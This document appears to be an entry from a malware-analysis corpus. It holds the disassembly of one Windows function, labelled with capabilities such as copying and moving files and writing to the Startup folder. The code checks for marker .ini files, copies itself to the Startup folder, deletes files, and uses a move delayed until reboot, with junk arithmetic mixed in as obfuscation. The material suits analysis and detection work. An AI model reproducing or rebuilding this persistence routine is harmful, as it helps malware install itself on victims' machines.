Function at 0x40c8a0
Capabilities:
Copy file
Delete file
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
sub esp, 0x308
mov eax, dword [0x45b4b0]
mov dword [esp + 0x304], eax
push ebx
push ebp
push esi
push edi
mov ecx, dword [0x459b54]
mov eax, 0x5764ae1b
imul ecx
sar edx, 0x12
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x459b44]
mov ebx, dword [0x459b50]
mov eax, 0x491979d9
imul ebx, ebx, 0x3eb04
imul edx
mov eax, dword [0x459b4c]
sar edx, 0x11
imul eax, eax, 0xd61e3
mov esi, edx
add ebx, eax
shr esi, 0x1f
add esi, edx
mov edx, dword [0x459b40]
imul edx, edx, 0x1db98
add ebx, edx
mov edx, dword [0x459b3c]
mov eax, 0xf957fd3
imul edx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov ebp, dword [0x459b38]
imul ebp, ebp, 0x3eb37
mov edi, dword [0x459b58]
imul edi, edi, 0x3b76e
add ebx, esi
add ebx, ecx
add ebx, edi
mov dword [0x459b4c], ebx
mov ebx, dword [0x459b48]
mov eax, 0x89cc5bfb
imul ebx
add edx, ebx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov eax, 0x491979d9
imul ebx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x70110
sub ebp, eax
add ebp, edx
sub ebp, ecx
add ebp, esi
push 0
add ebp, edi
push str.C:_WINDOWS_system32driversetc_service1.ini
mov dword [0x459b54], ebp
call fcn.0042d56d
add esp, 8
cmp eax, 0xffffffff
je 0x40ce12
push 0
push str.C:_WINDOWS_system32driversetc_service2.ini
call fcn.0042d56d
add esp, 8
cmp eax, 0xffffffff
je 0x40ce12
mov ecx, dword [0x459b40]
mov eax, 0x20ab631d
imul ecx
mov eax, dword [0x459b38]
imul eax, eax, 0xd61e3
sar edx, 0xf
mov esi, edx
shr esi, 0x1f
add esi, edx
add esi, eax
mov eax, 0x4c84c1e9
imul ecx
mov ecx, dword [0x459b50]
sar edx, 0x12
imul ecx, ecx, 0x1db98
mov edi, edx
add esi, edx
mov edx, dword [0x459b58]
imul edx, edx, 0x3b76e
shr edi, 0x1f
add edi, esi
sub edi, ecx
mov ecx, dword [0x459b54]
add edi, edx
mov eax, 0xf957fd3
imul ecx
mov ecx, dword [0x459b44]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x491979d9
imul ecx
sar edx, 0x11
mov ecx, edx
add edi, edx
push 0x104
lea edx, [esp + 0x218]
shr ecx, 0x1f
push edx
add ecx, edi
push 0
mov dword [0x459b38], ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x214]
push 0x5c
push eax
call fcn.0042dfe0
push str..tmp
lea ecx, [esp + 0x220]
push ecx
lea edx, [esp + 0x24]
mov esi, eax
push str._s_s
push edx
inc esi
call fcn.0042d1d1
mov ecx, dword [0x459b40]
mov edi, dword [0x459b48]
mov eax, 0xf6ddfe9
imul edi, edi, 0xbb797
imul ecx
mov ecx, dword [0x459b58]
sar edx, 0xf
imul ecx, ecx, 0x3b76e
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
mov ecx, dword [0x459b4c]
mov eax, 0x5764ae1b
imul ecx
mov ecx, dword [0x459b38]
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
add esp, 0x18
sub edi, eax
imul ecx, ecx, 0x20dab
add edi, ecx
mov ecx, dword [0x459b44]
mov eax, 0x491979d9
imul ecx
mov ecx, dword [0x459b54]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
push 0
sub eax, ecx
push 0x18
lea ecx, [esp + 0x11c]
push ecx
sub eax, 0xd61e3
push 0
mov dword [0x459b40], eax
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x114]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40cb34
sub eax, ecx
push esi
lea edx, [esp + eax + 0x118]
push 0x44a1e4
push edx
call fcn.0042d1d1
mov edi, dword [0x459b44]
mov esi, dword [0x459b58]
mov eax, 0x491979d9
imul edi
sar edx, 0x11
mov eax, edx
mov ebx, dword [0x459b50]
shr eax, 0x1f
imul ebx, ebx, 0x3eb37
add eax, edx
mov dword [esp + 0x1c], eax
mov eax, 0x3da796f7
imul esi
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x89c36131
imul esi
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
sub ebx, ecx
add edx, esi
sar edx, 0x11
add ebx, edx
mov ecx, edx
mov edx, esi
imul edx, edx, 0x9aa75
shr ecx, 0x1f
add ecx, ebx
sub ecx, edx
add esp, 0xc
mov dword [0x459b48], ecx
xor ebx, ebx
jmp 0x40cbd4
mov edi, dword [0x459b44]
mov esi, dword [0x459b58]
mov ecx, dword [0x459b48]
mov eax, dword [0x459b4c]
imul ecx, ecx, 0x3eb04
imul esi, esi, 0xc0332
mov edx, dword [0x459b3c]
imul eax, eax, 0xd61e3
sub ecx, eax
mov eax, 0xf6ddfe9
imul edx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, edi
imul edx, edx, 0x3b76e
sub ecx, eax
sub ecx, edx
mov eax, 0x491979d9
imul edi
sar edx, 0x11
add ecx, esi
mov eax, edx
add ecx, edx
shr eax, 0x1f
add eax, ecx
lea ecx, [esp + 0x14]
push 0
push ecx
mov dword [0x459b50], eax
call fcn.0042d56d
add esp, 8
cmp eax, 0xffffffff
je 0x40cc4f
lea edx, [esp + 0x14]
push edx
call ebp
inc ebx
cmp ebx, 0x64
jl 0x40cbc2
mov ecx, dword [0x459b38]
mov eax, 0x415373e5
imul ecx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0x20ab631d
imul dword [str._r_____r____]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x459b54]
imul edx, edx, 0xd61e3
sub ecx, eax
mov eax, dword [0x459b40]
sub ecx, edx
imul eax, eax, 0x14cd8
mov edx, dword [0x459b58]
mov esi, dword [esp + 0x31c]
imul edx, edx, 0x3b76e
add ecx, eax
add ecx, edx
mov eax, 0x491979d9
imul dword [0x459b44]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add ecx, edx
add eax, ecx
test esi, esi
mov dword [0x459b58], eax
je 0x40ccd8
cmp esi, 2
jne 0x40cd8b
mov edi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 4
lea ecx, [esp + 0x118]
push ecx
lea edx, [esp + 0x1c]
push edx
call edi
test eax, eax
jne 0x40cd8b
mov ecx, dword [0x459b3c]
mov ebx, dword [0x459b58]
mov esi, dword [0x459b44]
imul ebx, ebx, 0x3b76e
mov eax, ecx
imul eax, eax, 0x426f4
add ebx, eax
mov eax, 0x491979d9
imul esi
sar edx, 0x11
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
shl eax, 1
mov ebx, eax
mov eax, 0x89cc5bfb
imul ecx
add edx, ecx
sar edx, 0x10
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x5764ae1b
imul esi
sar edx, 0x12
mov eax, edx
sub ebx, ecx
shr eax, 0x1f
push 6
add eax, edx
lea ecx, [esp + 0x118]
push ecx
lea edx, [esp + 0x1c]
sub ebx, eax
push edx
mov dword [str._r_____r____], ebx
call edi
pop edi
pop esi
pop ebp
mov eax, 0xfffffffe
pop ebx
mov ecx, dword [esp + 0x304]
call fcn.0042d001
add esp, 0x308
ret
mov ecx, dword [0x459b50]
mov eax, 0x491979d9
imul ecx, ecx, 0x426f4
imul dword [0x459b44]
sar edx, 0x11
add ecx, edx
mov edi, edx
shr edi, 0x1f
add edi, ecx
mov ecx, dword [0x459b3c]
mov eax, 0x415373e5
imul ecx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
lea ecx, [eax + edi*2 + 0x84bc4]
sub ecx, edx
cmp esi, 1
mov dword [0x459b3c], ecx
je 0x40cde4
cmp esi, 2
jne 0x40cdf9
push 0
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x304]
call fcn.0042d001
add esp, 0x308
ret
mov ecx, dword [esp + 0x314]
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
call fcn.0042d001
add esp, 0x308
ret